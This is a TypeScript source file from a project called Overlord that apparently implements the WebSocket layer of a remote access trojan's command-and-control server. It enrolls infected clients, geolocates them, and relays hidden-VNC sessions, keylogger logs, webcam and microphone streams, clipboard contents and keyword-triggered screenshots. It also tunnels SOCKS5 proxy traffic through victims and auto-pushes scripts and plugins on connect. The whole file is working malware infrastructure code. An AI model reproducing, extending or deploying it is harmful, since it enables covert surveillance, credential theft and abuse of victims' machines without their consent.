Files
overlord/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
T

852 lines
33 KiB
TypeScript

import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never;
async function getGeoip() {
if (!_geoip) {
_geoip = (await import("geoip-lite")).default;
}
return _geoip;
}
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
clientId: string;
};
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void;
clientId: string;
};
type WsLifecycleDeps = {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleDesktopAudioViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleDesktopAudioViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
) => void;
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (clientId: string, payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
notifyRdInputLatency: (commandId: string) => void;
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
clearClientPluginState: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
notifyDashboard: () => void;
notifyDashboardClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void;
broadcastClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void;
};
const ENROLLMENT_TIMEOUT_MS = 30_000;
const enrollmentTimeouts = new Map<string, ReturnType<typeof setTimeout>>();
function clearEnrollmentTimeout(clientId: string) {
const t = enrollmentTimeouts.get(clientId);
if (t) {
clearTimeout(t);
enrollmentTimeouts.delete(clientId);
}
}
async function verifyEd25519(publicKeyBase64: string, signatureBase64: string, nonceBase64: string): Promise<boolean> {
try {
const pubKeyBytes = Buffer.from(publicKeyBase64, "base64");
const sigBytes = Buffer.from(signatureBase64, "base64");
const nonceBytes = Buffer.from(nonceBase64, "base64");
if (pubKeyBytes.length !== 32 || sigBytes.length !== 64) return false;
const key = await crypto.subtle.importKey(
"raw",
pubKeyBytes,
{ name: "Ed25519" },
false,
["verify"],
);
return await crypto.subtle.verify("Ed25519", key, sigBytes, nonceBytes);
} catch {
return false;
}
}
function computeKeyFingerprint(publicKeyBase64: string): string {
const bytes = Buffer.from(publicKeyBase64, "base64");
const hash = new Bun.CryptoHasher("sha256").update(bytes).digest("hex");
return hash;
}
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string;
const clientId = ws.data.clientId;
const ip = ws.data.ip;
if (role === "dashboard_viewer") return deps.handleDashboardViewerOpen(ws);
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
const id = clientId || uuidv4();
ws.data.clientId = id;
ws.data.ip = ip;
const nonceBytes = new Uint8Array(32);
crypto.getRandomValues(nonceBytes);
const nonceBase64 = Buffer.from(nonceBytes).toString("base64");
ws.data.enrollmentNonce = nonceBase64;
ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
clearEnrollmentTimeout(id);
const timeout = setTimeout(() => {
enrollmentTimeouts.delete(id);
try {
ws.close(4002, "enrollment_timeout");
} catch {}
}, ENROLLMENT_TIMEOUT_MS);
enrollmentTimeouts.set(id, timeout);
logger.info(`[open] ${id} role=${role} — purgatory challenge sent`);
}
export async function handleWebSocketMessage(
ws: ServerWebSocket<SocketData>,
message: string | ArrayBuffer | Uint8Array,
deps: WsLifecycleDeps,
): Promise<void> {
const size = getMessageByteLength(message as any);
const role = ws.data?.role as any;
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
if (size > limit) {
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
try {
ws.close(1009, "Message too large");
} catch {}
return;
}
const socketRole = ws.data.role as string;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
if (socketRole === "dashboard_viewer") return;
if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
const { clientId, ip } = ws.data;
let payload: WireMessage;
try {
payload = decodeMessage(message as Uint8Array) as WireMessage;
if (!payload || typeof (payload as any).type !== "string") {
return;
}
} catch (err) {
logger.error("[message] decode error", err);
return;
}
const payloadType = (payload as any).type as string;
if (!isAllowedClientMessageType(payloadType)) {
logger.warn(`[message] Dropping unknown client message type: ${payloadType}`);
return;
}
const info = clientManager.getClient(clientId);
if (!info && payloadType !== "hello") return;
if (info) info.lastSeen = Date.now();
const client = info!;
try {
switch (payloadType) {
case "hello": {
clearEnrollmentTimeout(clientId);
const publicKey = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : "";
const signature = typeof (payload as any).signature === "string" ? (payload as any).signature : "";
const nonce = ws.data.enrollmentNonce || "";
if (!publicKey || !signature || !nonce) {
logger.warn(`[purgatory] missing publicKey/signature/nonce for ${clientId}`);
try { ws.close(4002, "invalid_signature"); } catch {}
return;
}
const valid = await verifyEd25519(publicKey, signature, nonce);
if (!valid) {
logger.warn(`[purgatory] invalid signature for ${clientId}`);
try { ws.close(4002, "invalid_signature"); } catch {}
return;
}
ws.data.enrollmentNonce = undefined;
const keyFingerprint = computeKeyFingerprint(publicKey);
const existing = lookupClientByPublicKey(publicKey);
let enrollmentStatus: string;
if (existing) {
enrollmentStatus = existing.enrollmentStatus;
ws.data.clientId = existing.id;
} else {
enrollmentStatus = "pending";
const existingPk = getClientPublicKeyById(ws.data.clientId);
if (existingPk && existingPk !== publicKey) {
ws.data.clientId = keyFingerprint;
logger.info(`[purgatory] ID collision detected — reassigned to ${keyFingerprint}`);
}
}
if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`);
enrollmentStatus = "pending";
}
const resolvedId = ws.data.clientId;
const buildTag = typeof (payload as any).buildTag === "string"
? (payload as any).buildTag.trim()
: "";
const build = buildTag ? getBuildByTag(buildTag) : null;
const builtByUserId = build?.builtByUserId;
if (enrollmentStatus === "denied") {
logger.info(`[purgatory] denied client ${resolvedId} tried to connect`);
ws.send(encodeMessage({ type: "enrollment_status", status: "denied" }));
try { ws.close(4003, "denied"); } catch {}
return;
}
if (enrollmentStatus === "pending") {
const geoip = await getGeoip();
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
return v.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, max);
};
upsertClientRow({
id: resolvedId,
hwid: _s((payload as any).hwid) || resolvedId,
role: "client",
ip: ip || undefined,
host: _s((payload as any).host),
os: _s((payload as any).os),
arch: _s((payload as any).arch, 32),
version: _s((payload as any).version, 64),
user: _s((payload as any).user),
monitors: (payload as any).monitors || undefined,
cpu: _s((payload as any).cpu),
gpu: _s((payload as any).gpu),
ram: _s((payload as any).ram, 64),
country,
lastSeen: Date.now(),
online: 0 as any,
publicKey,
keyFingerprint,
enrollmentStatus: "pending",
buildTag: buildTag || undefined,
builtByUserId,
});
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_purgatory", {
id: resolvedId,
host: _s((payload as any).host),
user: _s((payload as any).user),
os: _s((payload as any).os),
ip: ip || undefined,
country,
});
deps.broadcastClientEvent("client_purgatory", {
id: resolvedId,
host: _s((payload as any).host),
user: _s((payload as any).user),
os: _s((payload as any).os),
ip: ip || undefined,
country,
});
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return;
}
const existingClient = clientManager.getClient(resolvedId);
if (existingClient?.ws && existingClient.ws !== ws) {
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId);
stopAllProxiesForClient(resolvedId);
deps.clearPendingNotificationScreenshots(resolvedId);
deps.clearClientPluginState(resolvedId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client reconnected (superseded)" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client reconnected (superseded)" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
}
ws.data.wasKnown = clientExists(resolvedId);
const infoObj: ClientInfo = {
id: resolvedId,
role: "client",
ws,
lastSeen: Date.now(),
country: "",
ip,
online: true,
publicKey,
keyFingerprint,
enrollmentStatus: "approved" as any,
};
clientManager.addClient(resolvedId, infoObj);
upsertClientRow({
id: resolvedId,
publicKey,
keyFingerprint,
enrollmentStatus: "approved",
buildTag: buildTag || undefined,
builtByUserId,
online: 1 as any,
lastSeen: Date.now(),
});
const notificationConfig = deps.getNotificationConfig();
try {
ws.send(
encodeMessage({
type: "hello_ack",
id: resolvedId,
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
},
}),
);
} catch (sendErr) {
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
}
await handleHello(infoObj, payload, ws, ip);
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
deps.broadcastClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
if (infoObj.role === "client") {
deps.notifyRemoteDesktopStatus(resolvedId, "online");
metrics.recordConnection();
const wasKnown = Boolean(ws.data.wasKnown);
logAudit({
timestamp: Date.now(),
username: "system",
ip: ws.data?.ip || ip || "unknown",
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
targetClientId: infoObj.id,
success: true,
details: JSON.stringify({ host: infoObj.host, os: infoObj.os, user: infoObj.user }),
});
(ws as any).data.wasKnown = true;
if (buildTag) {
deps.handleBuildTagConnection(infoObj.id, buildTag);
}
}
break;
}
case "ping":
handlePing(client, payload, ws);
break;
case "pong":
handlePong(client, payload);
deps.notifyDashboard();
break;
case "frame":
if ((payload as any)?.header?.fps === 0) {
const pending = deps.takePendingNotificationScreenshot(client.id);
if (pending) {
let bytes: Uint8Array | null = null;
if ((payload as any).data instanceof Uint8Array) {
bytes = (payload as any).data;
} else if ((payload as any).data instanceof ArrayBuffer) {
bytes = new Uint8Array((payload as any).data);
} else if (ArrayBuffer.isView((payload as any).data)) {
bytes = new Uint8Array((payload as any).data.buffer);
}
const format = String((payload as any)?.header?.format || "jpeg");
const width = Number((payload as any)?.header?.width) || undefined;
const height = Number((payload as any)?.header?.height) || undefined;
if (bytes) {
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
}
}
}
handleFrame(client, payload);
try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
break;
case "screenshot_result":
deps.handleNotificationScreenshotResult(client.id, payload);
break;
case "console_output":
deps.handleConsoleOutput(client.id, payload);
break;
case "file_list_result":
case "file_download":
case "file_upload_result":
case "file_read_result":
case "file_search_result":
case "command_result":
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
if (pending) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
message: typeof (payload as any).message === "string" ? (payload as any).message : "",
});
deps.pendingCommandReplies.delete((payload as any).commandId);
}
}
if (typeof (payload as any).commandId === "string") {
deps.notifyRdInputLatency((payload as any).commandId);
}
deps.handleNotificationScreenshotFailure(
(payload as any).commandId,
(payload as any).ok,
(payload as any).message,
);
deps.handleFileBrowserMessage(client.id, payload);
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
deps.handleProxyConnectResult(
client.id,
(payload as any).commandId,
Boolean((payload as any).ok),
);
}
break;
case "command_progress":
deps.handleFileBrowserMessage(client.id, payload);
break;
case "process_list_result":
deps.handleProcessMessage(client.id, payload);
break;
case "keylog_file_list":
case "keylog_file_content":
case "keylog_clear_result":
case "keylog_delete_result":
deps.handleKeyloggerMessage(client.id, payload);
break;
case "script_result": {
logger.debug(
`[script] client=${client.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
);
const cmdId = (payload as any).commandId;
if (cmdId && deps.pendingScripts.has(cmdId)) {
const pending = deps.pendingScripts.get(cmdId)!;
clearTimeout(pending.timeout);
pending.resolve({
ok: (payload as any).ok,
result: (payload as any).output || "",
error: (payload as any).error,
});
deps.pendingScripts.delete(cmdId);
}
break;
}
case "plugin_event":
deps.handlePluginEvent(client.id, payload);
break;
case "notification":
deps.handleNotification(client.id, payload);
break;
case "voice_uplink":
deps.handleVoiceUplink(client.id, payload);
break;
case "desktop_audio_uplink":
deps.handleDesktopAudioUplink(client.id, payload);
break;
case "webcam_devices":
deps.handleWebcamDevices(client.id, payload);
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
break;
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
if (typeof connId === "string" && tunnelData) {
const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
deps.handleProxyTunnelData(client.id, connId, bytes);
}
break;
}
case "proxy_close": {
const connId = (payload as any).connectionId;
if (typeof connId === "string") {
deps.handleProxyTunnelClose(client.id, connId);
}
break;
}
case "disconnect_info": {
const reason = typeof (payload as any).reason === "string" ? (payload as any).reason : "";
const detail = typeof (payload as any).detail === "string" ? (payload as any).detail : "";
if (reason) {
ws.data.disconnectReason = reason;
ws.data.disconnectDetail = detail || undefined;
logger.debug(`[disconnect_info] ${client.id} reason=${reason}`);
}
break;
}
default:
break;
}
} catch (err) {
logger.error("[message] decode error", err);
}
}
export function handleWebSocketClose(
ws: ServerWebSocket<SocketData>,
code: number,
reason: unknown,
deps: WsLifecycleDeps,
): void {
const clientId = ws.data.clientId;
const role = ws.data.role as string;
const sessionId = ws.data.sessionId;
clearEnrollmentTimeout(clientId);
if (role === "console_viewer") {
if (sessionId) {
sessionManager.deleteConsoleSession(sessionId);
const target = clientManager.getClient(clientId);
deps.stopConsoleOnTarget(target, sessionId);
}
return;
}
if (role === "rd_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.deleteRdSession(sid);
break;
}
}
const stillViewing = sessionManager.hasRdSessionsForClient(removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "desktop_stop", {});
deps.rdStreamingState.delete(removedClientId);
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "webcam_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.deleteWebcamSession(sid);
break;
}
}
const stillViewing = sessionManager.hasWebcamSessionsForClient(removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "webcam_stop", {});
deps.webcamStreamingState.delete(removedClientId);
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "hvnc_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.deleteHvncSession(sid);
break;
}
}
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
if (target) {
deps.sendHVNCCommand(target, "hvnc_stop", {});
}
deps.hvncStreamingState.delete(removedClientId);
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "file_browser_viewer") {
if (sessionId) {
sessionManager.deleteFileBrowserSession(sessionId);
}
return;
}
if (role === "process_viewer") {
if (sessionId) {
sessionManager.deleteProcessSession(sessionId);
}
return;
}
if (role === "keylogger_viewer") {
if (sessionId) {
sessionManager.deleteKeyloggerSession(sessionId);
}
return;
}
if (role === "voice_viewer") {
deps.cleanupVoiceViewer(ws);
return;
}
if (role === "desktop_audio_viewer") {
deps.cleanupDesktopAudioViewer(ws);
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
}
return;
}
if (role === "dashboard_viewer") {
sessionManager.deleteDashboardSession(ws.data.sessionId || clientId);
return;
}
if (role === "chat_viewer") {
if (sessionId) {
sessionManager.deleteChatSession(sessionId);
}
return;
}
const currentClient = clientManager.getClient(clientId);
if (currentClient && currentClient.ws !== ws) {
logger.info(`[close] ${clientId} code=${code} (superseded socket, skipping cleanup)`);
return;
}
if (role === "client" && currentClient) {
deps.notifyDashboardClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
deps.broadcastClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
}
const storedDisconnectReason = ws.data.disconnectReason;
const storedDisconnectDetail = ws.data.disconnectDetail;
clientManager.deleteClient(clientId);
stopAllProxiesForClient(clientId);
clearClientSyncState(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client disconnected" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client disconnected" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
deps.notifyDashboard();
logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);
if (role === "client") {
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
metrics.recordDisconnection();
logAudit({
timestamp: Date.now(),
username: "system",
ip: ws.data?.ip || "unknown",
action: AuditAction.CLIENT_DISCONNECT,
targetClientId: clientId,
success: true,
details: JSON.stringify({ code, reason: String(reason || ""), disconnectReason: storedDisconnectReason || null }),
});
}
}